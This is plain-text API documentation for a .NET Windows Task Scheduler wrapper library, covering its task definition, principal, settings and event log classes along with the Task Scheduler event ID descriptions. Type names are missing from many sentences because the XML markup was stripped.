this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + 